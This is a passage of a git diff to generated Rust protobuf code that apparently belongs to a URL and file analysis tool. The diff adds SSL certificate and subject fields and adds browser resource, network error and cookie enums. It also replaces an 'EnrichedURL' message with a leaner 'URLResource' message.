ession\x12A\n\x08priority\x18\t\x20\x01(\x0e2%.vt.urlheadless.Cookie.Coo\ + kiePriorityR\x08priority\"~\n\x0eCookiePriority\x12\x1d\n\x19COOKIE_PRIO\ + RITY_UNDEFINED\x10\0\x12\x18\n\x14COOKIE_PRIORITY_HIGH\x10\x01\x12\x1a\n\ + \x16COOKIE_PRIORITY_MEDIUM\x10\x02\x12\x17\n\x13COOKIE_PRIORITY_LOW\x10\ + \x03\"\x98\x02\n\x0eConsoleMessage\x12\x18\n\x07content\x18\x01\x20\x01(\ + \tR\x07content\x12\x1f\n\x0bsource_file\x18\x02\x20\x01(\tR\nsourceFile\ + \x12=\n\x05level\x18\x03\x20\x01(\x0e2'.vt.urlheadless.ConsoleMessage.Lo\ + gLevelR\x05level\"\x8b\x01\n\x08LogLevel\x12\x17\n\x13LOG_LEVEL_UNDEFINE\ + D\x10\0\x12\x13\n\x0fLOG_LEVEL_DEBUG\x10\x01\x12\x15\n\x11LOG_LEVEL_WARN\ + ING\x10\x02\x12\x13\n\x0fLOG_LEVEL_ERROR\x10\x03\x12\x12\n\x0eLOG_LEVEL_\ + INFO\x10\x04\x12\x11\n\rLOG_LEVEL_LOG\x10\x05*\x9c\x04\n\x13BrowserResou\ + rceType\x12\x1f\n\x1bBROWSER_RESOURCE_TYPE_OTHER\x10\0\x12\"\n\x1eBROWSE\ + R_RESOURCE_TYPE_DOCUMENT\x10\x01\x12\x20\n\x1cBROWSER_RESOURCE_TYPE_SCRI\ + PT\x10\x02\x12\x1f\n\x1bBROWSER_RESOURCE_TYPE_FETCH\x10\x03\x12$\n\x20BR\ + OWSER_RESOURCE_TYPE_STYLESHEET\x10\x04\x12\x1f\n\x1bBROWSER_RESOURCE_TYP\ + E_IMAGE\x10\x05\x12\x1e\n\x1aBROWSER_RESOURCE_TYPE_FONT\x10\x06\x12\x1f\ + \n\x1bBROWSER_RESOURCE_TYPE_MEDIA\x10\x07\x12\x1d\n\x19BROWSER_RESOURCE_\ + TYPE_XHR\x10\x08\x12\x1e\n\x1aBROWSER_RESOURCE_TYPE_PING\x10\t\x12$\n\ + \x20BROWSER_RESOURCE_TYPE_MAIN_FRAME\x10\n\x12#\n\x1fBROWSER_RESOURCE_TY\ + PE_SUB_FRAME\x10\x0b\x12#\n\x1fBROWSER_RESOURCE_TYPE_WEBSOCKET\x10\x0c\ + \x12\x20\n\x1cBROWSER_RESOURCE_TYPE_OBJECT\x10\r\x12$\n\x20BROWSER_RESOU\ + RCE_TYPE_CSP_REPORT\x10\x0e*\xd2\x05\n\x08NetError\x12\x19\n\x15NET_ERRO\ + R_UNSPECIFIED\x10\0\x12\x1f\n\x1bNET_ERROR_NAME_NOT_RESOLVED\x10\x01\x12\ + !\n\x1dNET_ERROR_ADDRESS_UNREACHABLE\x10\x02\x12\x20\n\x1cNET_ERROR_CONN\ + ECTION_REFUSED\x10\x03\x12,\n(NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH\ + \x10\x04\x12\x1e\n\x1aNET_ERROR_CONNECTION_RESET\x10\x05\x12\x1e\n\x1aNE\ + T_ERROR_INVALID_RESPONSE\x10\x06\x12\x1c\n\x18NET_ERROR_EMPTY_RESPONSE\ + \x10\x07\x12\x1f\n\x1bNET_ERROR_CONNECTION_CLOSED\x10\x08\x12\"\n\x1eNET\ + _ERROR_CONNECTION_TIMED_OUT\x10\t\x12#\n\x1fNET_ERROR_INVALID_HTTP_RESPO\ + NSE\x10\n\x12\x12\n\x0eNET_ERROR_HTTP\x10\x0b\x12\x1e\n\x1aNET_ERROR_INV\ + ALID_REDIRECT\x10\x0c\x12(\n$NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE\x10\r\ + \x12\x20\n\x1cNET_ERROR_SSL_PROTOCOL_ERROR\x10\x0e\x12)\n%NET_ERROR_SSL_\ + UNRECOGNIZED_NAME_ALERT\x10\x0f\x12\x17\n\x13NET_ERROR_TIMED_OUT\x10\x10\ + \x12)\n%NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS\x10\x11\x12\x20\n\x1cNET_E\ + RROR_TOO_MANY_REDIRECTS\x10\x12\x12#\n\x1fNET_ERROR_UNEXPECTED_PROXY_AUT\ + H\x10\x13\x12\x19\n\x15NET_ERROR_UNSAFE_PORT\x10\x14b\x06proto3\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::filetypes::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(2); + messages.push(Cookie::generated_message_descriptor_data()); + messages.push(ConsoleMessage::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(4); + enums.push(BrowserResourceType::generated_enum_descriptor_data()); + enums.push(NetError::generated_enum_descriptor_data()); + enums.push(cookie::CookiePriority::generated_enum_descriptor_data()); + enums.push(console_message::LogLevel::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/generated/vtnet.rs b/lib/src/modules/protos/generated/vtnet.rs index aee05618a..f2fb4f75b 100644 --- a/lib/src/modules/protos/generated/vtnet.rs +++ b/lib/src/modules/protos/generated/vtnet.rs @@ -40,6 +40,12 @@ pub struct Subject { pub locality: ::std::string::String, // @@protoc_insertion_point(field:vt.net.Subject.state) pub state: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.Subject.alternative_names) + pub alternative_names: ::std::vec::Vec<::std::string::String>, + // @@protoc_insertion_point(field:vt.net.Subject.street_address) + pub street_address: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.Subject.postal_code) + pub postal_code: ::std::string::String, // special fields // @@protoc_insertion_point(special_field:vt.net.Subject.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -57,7 +63,7 @@ impl Subject { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(6); + let mut fields = ::std::vec::Vec::with_capacity(9); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( "common_name", @@ -89,6 +95,21 @@ impl Subject { |m: &Subject| { &m.state }, |m: &mut Subject| { &mut m.state }, )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "alternative_names", + |m: &Subject| { &m.alternative_names }, + |m: &mut Subject| { &mut m.alternative_names }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "street_address", + |m: &Subject| { &m.street_address }, + |m: &mut Subject| { &mut m.street_address }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "postal_code", + |m: &Subject| { &m.postal_code }, + |m: &mut Subject| { &mut m.postal_code }, + )); ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( "Subject", fields, @@ -125,6 +146,15 @@ impl ::protobuf::Message for Subject { 50 => { self.state = is.read_string()?; }, + 58 => { + self.alternative_names.push(is.read_string()?); + }, + 66 => { + self.street_address = is.read_string()?; + }, + 74 => { + self.postal_code = is.read_string()?; + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -155,6 +185,15 @@ impl ::protobuf::Message for Subject { if !self.state.is_empty() { my_size += ::protobuf::rt::string_size(6, &self.state); } + for value in &self.alternative_names { + my_size += ::protobuf::rt::string_size(7, &value); + }; + if !self.street_address.is_empty() { + my_size += ::protobuf::rt::string_size(8, &self.street_address); + } + if !self.postal_code.is_empty() { + my_size += ::protobuf::rt::string_size(9, &self.postal_code); + } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -179,6 +218,15 @@ impl ::protobuf::Message for Subject { if !self.state.is_empty() { os.write_string(6, &self.state)?; } + for v in &self.alternative_names { + os.write_string(7, &v)?; + }; + if !self.street_address.is_empty() { + os.write_string(8, &self.street_address)?; + } + if !self.postal_code.is_empty() { + os.write_string(9, &self.postal_code)?; + } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -202,6 +250,9 @@ impl ::protobuf::Message for Subject { self.organizational_unit.clear(); self.locality.clear(); self.state.clear(); + self.alternative_names.clear(); + self.street_address.clear(); + self.postal_code.clear(); self.special_fields.clear(); } @@ -213,6 +264,9 @@ impl ::protobuf::Message for Subject { organizational_unit: ::std::string::String::new(), locality: ::std::string::String::new(), state: ::std::string::String::new(), + alternative_names: ::std::vec::Vec::new(), + street_address: ::std::string::String::new(), + postal_code: ::std::string::String::new(), special_fields: ::protobuf::SpecialFields::new(), }; &instance @@ -394,6 +448,14 @@ pub struct SSLCertificate { pub serial_number: ::std::string::String, // @@protoc_insertion_point(field:vt.net.SSLCertificate.issuer) pub issuer: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.SSLCertificate.host) + pub host: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.SSLCertificate.version) + pub version: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.SSLCertificate.algorithm) + pub algorithm: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.SSLCertificate.signature_algorithm) + pub signature_algorithm: ::std::string::String, // special fields // @@protoc_insertion_point(special_field:vt.net.SSLCertificate.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -411,7 +473,7 @@ impl SSLCertificate { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(7); + let mut fields = ::std::vec::Vec::with_capacity(11); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( "thumbprint", @@ -448,6 +510,26 @@ impl SSLCertificate { |m: &SSLCertificate| { &m.issuer }, |m: &mut SSLCertificate| { &mut m.issuer }, )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "host", + |m: &SSLCertificate| { &m.host }, + |m: &mut SSLCertificate| { &mut m.host }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "version", + |m: &SSLCertificate| { &m.version }, + |m: &mut SSLCertificate| { &mut m.version }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "algorithm", + |m: &SSLCertificate| { &m.algorithm }, + |m: &mut SSLCertificate| { &mut m.algorithm }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "signature_algorithm", + |m: &SSLCertificate| { &m.signature_algorithm }, + |m: &mut SSLCertificate| { &mut m.signature_algorithm }, + )); ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( "SSLCertificate", fields, @@ -487,6 +569,18 @@ impl ::protobuf::Message for SSLCertificate { 58 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.issuer)?; }, + 66 => { + self.host = is.read_string()?; + }, + 74 => { + self.version = is.read_string()?; + }, + 82 => { + self.algorithm = is.read_string()?; + }, + 90 => { + self.signature_algorithm = is.read_string()?; + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -523,6 +617,18 @@ impl ::protobuf::Message for SSLCertificate { let len = v.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + if !self.host.is_empty() { + my_size += ::protobuf::rt::string_size(8, &self.host); + } + if !self.version.is_empty() { + my_size += ::protobuf::rt::string_size(9, &self.version); + } + if !self.algorithm.is_empty() { + my_size += ::protobuf::rt::string_size(10, &self.algorithm); + } + if !self.signature_algorithm.is_empty() { + my_size += ::protobuf::rt::string_size(11, &self.signature_algorithm); + } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -550,6 +656,18 @@ impl ::protobuf::Message for SSLCertificate { if let Some(v) = self.issuer.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(7, v, os)?; } + if !self.host.is_empty() { + os.write_string(8, &self.host)?; + } + if !self.version.is_empty() { + os.write_string(9, &self.version)?; + } + if !self.algorithm.is_empty() { + os.write_string(10, &self.algorithm)?; + } + if !self.signature_algorithm.is_empty() { + os.write_string(11, &self.signature_algorithm)?; + } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -574,6 +692,10 @@ impl ::protobuf::Message for SSLCertificate { self.signature.clear(); self.serial_number.clear(); self.issuer.clear(); + self.host.clear(); + self.version.clear(); + self.algorithm.clear(); + self.signature_algorithm.clear(); self.special_fields.clear(); } @@ -586,6 +708,10 @@ impl ::protobuf::Message for SSLCertificate { signature: ::std::string::String::new(), serial_number: ::std::string::String::new(), issuer: ::protobuf::MessageField::none(), + host: ::std::string::String::new(), + version: ::std::string::String::new(), + algorithm: ::std::string::String::new(), + signature_algorithm: ::std::string::String::new(), special_fields: ::protobuf::SpecialFields::new(), }; &instance @@ -1994,228 +2120,123 @@ impl ::protobuf::reflect::ProtobufValue for PopularityRank { type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; } -// @@protoc_insertion_point(message:vt.net.EnrichedURL) +// @@protoc_insertion_point(message:vt.net.URLResource) #[derive(PartialEq,Clone,Default,Debug)] -pub struct EnrichedURL { +pub struct URLResource { // message fields - // @@protoc_insertion_point(field:vt.net.EnrichedURL.port) - pub port: i64, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.trackers) - pub trackers: ::std::vec::Vec, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.response_headers) + // @@protoc_insertion_point(field:vt.net.URLResource.url) + pub url: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.URLResource.method) + pub method: ::protobuf::EnumOrUnknown, + // @@protoc_insertion_point(field:vt.net.URLResource.sha256) + pub sha256: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.URLResource.response_code) + pub response_code: i32, + // @@protoc_insertion_point(field:vt.net.URLResource.remote_ip) + pub remote_ip: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.URLResource.size) + pub size: i32, + // @@protoc_insertion_point(field:vt.net.URLResource.reverse_dns) + pub reverse_dns: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.URLResource.type) + pub type_: ::protobuf::EnumOrUnknown, + // @@protoc_insertion_point(field:vt.net.URLResource.browser_type) + pub browser_type: ::protobuf::EnumOrUnknown, + // @@protoc_insertion_point(field:vt.net.URLResource.response_headers) pub response_headers: ::std::collections::HashMap<::std::string::String, ::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.number_of_response_headers) - pub number_of_response_headers: i64, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.response_code) - pub response_code: i64, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.cookies) - pub cookies: ::std::collections::HashMap<::std::string::String, ::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.favicon) - pub favicon: ::protobuf::MessageField, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.outgoing_links) - pub outgoing_links: ::std::vec::Vec<::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.redirects) + // @@protoc_insertion_point(field:vt.net.URLResource.net_error) + pub net_error: ::protobuf::EnumOrUnknown, + // @@protoc_insertion_point(field:vt.net.URLResource.redirects) pub redirects: ::std::vec::Vec<::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.html_title) - pub html_title: ::std::string::String, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.html_meta_tags) - pub html_meta_tags: ::std::vec::Vec, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.new_url) - pub new_url: bool, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.analysis_stats) - pub analysis_stats: ::protobuf::MessageField, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.first_submission_date) - pub first_submission_date: i64, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.signatures) - pub signatures: ::std::collections::HashMap<::std::string::String, ::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.submitter) - pub submitter: ::protobuf::MessageField, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.tags) - pub tags: ::std::vec::Vec<::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.query) - pub query: ::std::string::String, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.params) - pub params: ::std::collections::HashMap<::std::string::String, ::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.path) - pub path: ::std::string::String, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.hostname) - pub hostname: ::std::string::String, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.raw) - pub raw: ::std::string::String, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.downloaded_file) - pub downloaded_file: ::protobuf::MessageField, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.communicating_file) - pub communicating_file: ::protobuf::MessageField, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.embedded_resources) - pub embedded_resources: ::std::vec::Vec, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.categories) - pub categories: ::std::collections::HashMap<::std::string::String, ::std::string::String>, - // @@protoc_insertion_point(field:vt.net.EnrichedURL.gti_assessment) - pub gti_assessment: ::protobuf::MessageField, // special fields - // @@protoc_insertion_point(special_field:vt.net.EnrichedURL.special_fields) + // @@protoc_insertion_point(special_field:vt.net.URLResource.special_fields) pub special_fields: ::protobuf::SpecialFields, } -impl<'a> ::std::default::Default for &'a EnrichedURL { - fn default() -> &'a EnrichedURL { - ::default_instance() +impl<'a> ::std::default::Default for &'a URLResource { + fn default() -> &'a URLResource { + ::default_instance() } } -impl EnrichedURL { - pub fn new() -> EnrichedURL { +impl URLResource { + pub fn new() -> URLResource { ::std::default::Default::default() } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(27); + let mut fields = ::std::vec::Vec::with_capacity(12); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "port", - |m: &EnrichedURL| { &m.port }, - |m: &mut EnrichedURL| { &mut m.port }, - )); - fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( - "trackers", - |m: &EnrichedURL| { &m.trackers }, - |m: &mut EnrichedURL| { &mut m.trackers }, + "url", + |m: &URLResource| { &m.url }, + |m: &mut URLResource| { &mut m.url }, )); - fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( - "response_headers", - |m: &EnrichedURL| { &m.response_headers }, - |m: &mut EnrichedURL| { &mut m.response_headers }, + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "method", + |m: &URLResource| { &m.method }, + |m: &mut URLResource| { &mut m.method }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "number_of_response_headers", - |m: &EnrichedURL| { &m.number_of_response_headers }, - |m: &mut EnrichedURL| { &mut m.number_of_response_headers }, + "sha256", + |m: &URLResource| { &m.sha256 }, + |m: &mut URLResource| { &mut m.sha256 }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( "response_code", - |m: &EnrichedURL| { &m.response_code }, - |m: &mut EnrichedURL| { &mut m.response_code }, - )); - fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( - "cookies", - |m: &EnrichedURL| { &m.cookies }, - |m: &mut EnrichedURL| { &mut m.cookies }, - )); - fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, Favicon>( - "favicon", - |m: &EnrichedURL| { &m.favicon }, - |m: &mut EnrichedURL| { &mut m.favicon }, - )); - fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( - "outgoing_links", - |m: &EnrichedURL| { &m.outgoing_links }, - |m: &mut EnrichedURL| { &mut m.outgoing_links }, - )); - fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( - "redirects", - |m: &EnrichedURL| { &m.redirects }, - |m: &mut EnrichedURL| { &mut m.redirects }, + |m: &URLResource| { &m.response_code }, + |m: &mut URLResource| { &mut m.response_code }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "html_title", - |m: &EnrichedURL| { &m.html_title }, - |m: &mut EnrichedURL| { &mut m.html_title }, - )); - fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( - "html_meta_tags", - |m: &EnrichedURL| { &m.html_meta_tags }, - |m: &mut EnrichedURL| { &mut m.html_meta_tags }, + "remote_ip", + |m: &URLResource| { &m.remote_ip }, + |m: &mut URLResource| { &mut m.remote_ip }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "new_url", - |m: &EnrichedURL| { &m.new_url }, - |m: &mut EnrichedURL| { &mut m.new_url }, - )); - fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::analysis::AnalysisStats>( - "analysis_stats", - |m: &EnrichedURL| { &m.analysis_stats }, - |m: &mut EnrichedURL| { &mut m.analysis_stats }, + "size", + |m: &URLResource| { &m.size }, + |m: &mut URLResource| { &mut m.size }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "first_submission_date", - |m: &EnrichedURL| { &m.first_submission_date }, - |m: &mut EnrichedURL| { &mut m.first_submission_date }, - )); - fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( - "signatures", - |m: &EnrichedURL| { &m.signatures }, - |m: &mut EnrichedURL| { &mut m.signatures }, - )); - fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::submitter::Submitter>( - "submitter", - |m: &EnrichedURL| { &m.submitter }, - |m: &mut EnrichedURL| { &mut m.submitter }, - )); - fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( - "tags", - |m: &EnrichedURL| { &m.tags }, - |m: &mut EnrichedURL| { &mut m.tags }, + "reverse_dns", + |m: &URLResource| { &m.reverse_dns }, + |m: &mut URLResource| { &mut m.reverse_dns }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "query", - |m: &EnrichedURL| { &m.query }, - |m: &mut EnrichedURL| { &mut m.query }, - )); - fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( - "params", - |m: &EnrichedURL| { &m.params }, - |m: &mut EnrichedURL| { &mut m.params }, + "type", + |m: &URLResource| { &m.type_ }, + |m: &mut URLResource| { &mut m.type_ }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "path", - |m: &EnrichedURL| { &m.path }, - |m: &mut EnrichedURL| { &mut m.path }, + "browser_type", + |m: &URLResource| { &m.browser_type }, + |m: &mut URLResource| { &mut m.browser_type }, )); - fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "hostname", - |m: &EnrichedURL| { &m.hostname }, - |m: &mut EnrichedURL| { &mut m.hostname }, + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "response_headers", + |m: &URLResource| { &m.response_headers }, + |m: &mut URLResource| { &mut m.response_headers }, )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( - "raw", - |m: &EnrichedURL| { &m.raw }, - |m: &mut EnrichedURL| { &mut m.raw }, - )); - fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, FileMetadata>( - "downloaded_file", - |m: &EnrichedURL| { &m.downloaded_file }, - |m: &mut EnrichedURL| { &mut m.downloaded_file }, - )); - fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, FileMetadata>( - "communicating_file", - |m: &EnrichedURL| { &m.communicating_file }, - |m: &mut EnrichedURL| { &mut m.communicating_file }, + "net_error", + |m: &URLResource| { &m.net_error }, + |m: &mut URLResource| { &mut m.net_error }, )); fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( - "embedded_resources", - |m: &EnrichedURL| { &m.embedded_resources }, - |m: &mut EnrichedURL| { &mut m.embedded_resources }, - )); - fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( - "categories", - |m: &EnrichedURL| { &m.categories }, - |m: &mut EnrichedURL| { &mut m.categories }, - )); - fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::hunting_gti_score::HuntingGtiScore>( - "gti_assessment", - |m: &EnrichedURL| { &m.gti_assessment }, - |m: &mut EnrichedURL| { &mut m.gti_assessment }, + "redirects", + |m: &URLResource| { &m.redirects }, + |m: &mut URLResource| { &mut m.redirects }, )); - ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( - "EnrichedURL", + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "URLResource", fields, oneofs, ) } } -impl ::protobuf::Message for EnrichedURL { - const NAME: &'static str = "EnrichedURL"; +impl ::protobuf::Message for URLResource { + const NAME: &'static str = "URLResource"; fn is_initialized(&self) -> bool { true @@ -2224,13 +2245,34 @@ impl ::protobuf::Message for EnrichedURL { fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { while let Some(tag) = is.read_raw_tag_or_eof()? { match tag { - 24 => { - self.port = is.read_int64()?; + 10 => { + self.url = is.read_string()?; }, - 34 => { - self.trackers.push(is.read_message()?); + 16 => { + self.method = is.read_enum_or_unknown()?; + }, + 26 => { + self.sha256 = is.read_string()?; + }, + 32 => { + self.response_code = is.read_int32()?; }, 42 => { + self.remote_ip = is.read_string()?; + }, + 48 => { + self.size = is.read_int32()?; + }, + 58 => { + self.reverse_dns = is.read_string()?; + }, + 64 => { + self.type_ = is.read_enum_or_unknown()?; + }, + 72 => { + self.browser_type = is.read_enum_or_unknown()?; + }, + 82 => { let len = is.read_raw_varint32()?; let old_limit = is.push_limit(len as u64)?; let mut key = ::std::default::Default::default(); @@ -2245,11 +2287,1042 @@ impl ::protobuf::Message for EnrichedURL { is.pop_limit(old_limit); self.response_headers.insert(key, value); }, - 264 => { - self.number_of_response_headers = is.read_int64()?; - }, - 48 => { - self.response_code = is.read_int64()?; + 88 => { + self.net_error = is.read_enum_or_unknown()?; + }, + 98 => { + self.redirects.push(is.read_string()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.url.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.url); + } + if self.method != ::protobuf::EnumOrUnknown::new(super::sandbox::http_conversation::RequestMethod::UNKNOWN) { + my_size += ::protobuf::rt::int32_size(2, self.method.value()); + } + if !self.sha256.is_empty() { + my_size += ::protobuf::rt::string_size(3, &self.sha256); + } + if self.response_code != 0 { + my_size += ::protobuf::rt::int32_size(4, self.response_code); + } + if !self.remote_ip.is_empty() { + my_size += ::protobuf::rt::string_size(5, &self.remote_ip); + } + if self.size != 0 { + my_size += ::protobuf::rt::int32_size(6, self.size); + } + if !self.reverse_dns.is_empty() { + my_size += ::protobuf::rt::string_size(7, &self.reverse_dns); + } + if self.type_ != ::protobuf::EnumOrUnknown::new(super::filetypes::FileType::UNKNOWN) { + my_size += ::protobuf::rt::int32_size(8, self.type_.value()); + } + if self.browser_type != ::protobuf::EnumOrUnknown::new(super::urlheadless::BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER) { + my_size += ::protobuf::rt::int32_size(9, self.browser_type.value()); + } + for (k, v) in &self.response_headers { + let mut entry_size = 0; + entry_size += ::protobuf::rt::string_size(1, &k); + entry_size += ::protobuf::rt::string_size(2, &v); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(entry_size) + entry_size + }; + if self.net_error != ::protobuf::EnumOrUnknown::new(super::urlheadless::NetError::NET_ERROR_UNSPECIFIED) { + my_size += ::protobuf::rt::int32_size(11, self.net_error.value()); + } + for value in &self.redirects { + my_size += ::protobuf::rt::string_size(12, &value); + }; + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.url.is_empty() { + os.write_string(1, &self.url)?; + } + if self.method != ::protobuf::EnumOrUnknown::new(super::sandbox::http_conversation::RequestMethod::UNKNOWN) { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&self.method))?; + } + if !self.sha256.is_empty() { + os.write_string(3, 